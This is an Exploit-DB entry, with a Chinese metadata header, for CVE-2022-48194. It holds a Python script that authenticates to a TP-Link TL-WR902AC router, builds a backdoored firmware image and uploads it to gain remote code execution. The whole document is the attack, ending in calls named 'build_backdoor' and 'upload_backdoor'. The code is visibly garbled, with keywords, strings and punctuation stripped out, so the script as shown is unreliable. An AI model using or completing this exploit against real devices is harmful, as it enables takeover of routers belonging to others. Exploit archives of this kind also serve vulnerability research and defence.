标题: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51192 CVE: 2022-48194 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-01 漏洞利用脚本: # !/usr/bin/python3

# Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tobias Müller
# Date: 2022-12-01
# Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329
# Vendor Homepage: https://www.tp-link.com/
# Tested On: TP-Link TL-WR902AC
# Vulnerability Description: Remote Code Execution via importing malicious firmware file
# CVE: CVE-2022-48194
# Technical Details: https://github.com/otsmr/internet-of-vulnerable-things

TARGET_HOST = "192.168.0.1"
ADMIN_PASSWORD  
TP_LINK_FIRMWARE_DOWNLOAD  


 requests
 os
 glob
 subprocess
 base64 os hashlib
 CryptoCipher  AES PKCS1_v1_5  
 CryptoPublicKey  RSA
 CryptoUtilPadding  pad



 program     
       subprocesscheck_output programdecode
        f
        exit


 

     self host password

        selfhost    host
        selfpassword  password
        selfpassword_hash  hashlibmd5  passwordencodeencodehexdigest
        
        selfaes_key  
        selfaes_iv  

        selfsession  requestsSession

        crypto_data  selfcgi_basic text

        selfsign_rsa_e  crypto_datasplitsplit 
        selfsign_rsa_n  crypto_datasplitsplit 
        selfseq         crypto_datasplitsplit

        selfjsessionid  selfget_jsessionid


     self
        post_data  f
        selfget_encrypted_request_datapost_data 
         selfsessioncookies

     self aes_key aes_iv aes_block_size plaintext
        cipher  AESnewaes_keyencode AESMODE_CBC ivaes_ivencode
        plaintext_padded  padplaintext aes_block_size
         cipherencryptplaintext_padded

     self n e plaintext
        public_key  RSAconstructn epublickey
        encryptor  PKCS1_v1_5newpublic_key
        block_size  public_keynbit_length    
        encrypted_text  
         i   plaintext block_size
            encrypted_text  encryptorencryptplaintextii  block_size
         encrypted_text

     self post_data is_login 

        encrypted_data  selfaes_encryptselfaes_key selfaes_iv AESblock_size post_dataencode
        encrypted_data  base64b64encodeencrypted_datadecode

        selfseq  encrypted_data
        signature  f
         is_login
            signature  f  signature

        encrypted_signature  selfrsa_encryptselfsign_rsa_n selfsign_rsa_e signatureencode

        body  f

         selfcgi_basic body

     self url  body 

        res  selfsessionpostf databody headers
             
        

         resstatus_code  
            restext
             ValueError

         res


 command
      command
    ossystemcommand

 

     ospathisdir
        cmd

    osmkdir
    oschdir

    
    res  requestsgetTP_LINK_FIRMWARE_DOWNLOAD
        f
        fwriterescontent

    

    
    
    

     ospathisfile
        
        exit

    cmd
    filename  globglob
    cmdf
    cmd
    cmd

        f
        fwrite

    cmd

        f

        content  fread
        content  contentreplace 
        fwritecontent

    cmd
    cmd

    cmd

    size  subprocesscheck_output decode
    offset  sizesplit  
    cmd
    cmd
    cmdf

    oschdir

    cmdf
    cmd

 

    wc  WebClientTARGET_HOST ADMIN_PASSWORD

    

    files  
         
    

    re_upload  requestspost  TARGET_HOST   cookies
         wcjsessionid
     headers
         
     filesfiles

     re_uploadstatus_code       re_uploadtext
        
        exit

    

    
    


build_backdoor
upload_backdoor URL: https://www.exploit-db.com/exploits/51192